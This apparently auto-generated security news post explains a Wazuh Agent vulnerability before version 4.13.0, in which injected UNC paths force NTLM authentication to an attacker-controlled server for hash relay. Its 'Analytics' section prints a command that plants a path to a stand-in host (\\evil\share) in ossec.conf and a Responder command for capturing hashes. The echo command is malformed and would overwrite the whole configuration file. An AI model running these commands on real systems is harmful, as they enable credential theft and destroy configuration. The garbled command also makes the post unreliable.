Listen to this Post
How the CVE works:
The vulnerability exists in Wazuh Agent versions prior to 4.13.0. Authenticated attackers can inject malicious UNC paths (e.g., \\attacker-server\share) into agent configuration settings. When the agent processes these paths, it automatically attempts to authenticate to the specified SMB server using NTLM protocol. This causes the agent to send NTLM authentication hashes to the attacker-controlled server. Attackers capture these hashes using tools like Responder. Through NTLM relay attacks, the captured hashes are forwarded to other network services, such as SMB or LDAP. By relaying the hashes, attackers can impersonate the agent and gain unauthorized access. If the agent runs with elevated privileges, this leads to privilege escalation. Attackers can then execute arbitrary code on compromised systems, resulting in remote code execution. The core issue is lack of validation for UNC paths in configuration inputs, allowing forced NTLM authentication.
Platform: Wazuh
Version: Prior to 4.13.0
Vulnerability: NTLM relay attacks
Severity: Critical
Date: 11/21/2025
Prediction: Patched in 4.13.0
What Undercode Say:
Analytics:
Check agent version:
`wazuh-agentd -v`
Simulate UNC injection:
`echo ‘config=”\\\\evil\\share”‘ > /var/ossec/etc/ossec.conf`
Capture NTLM hashes:
`responder -I eth0 -wrf`
How Exploit:
Authenticate, inject UNC, capture hashes, relay for RCE.
Protection from this CVE:
Update to 4.13.0, disable NTLM, enforce SMB signing.
Impact:
Privilege escalation, remote code execution.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
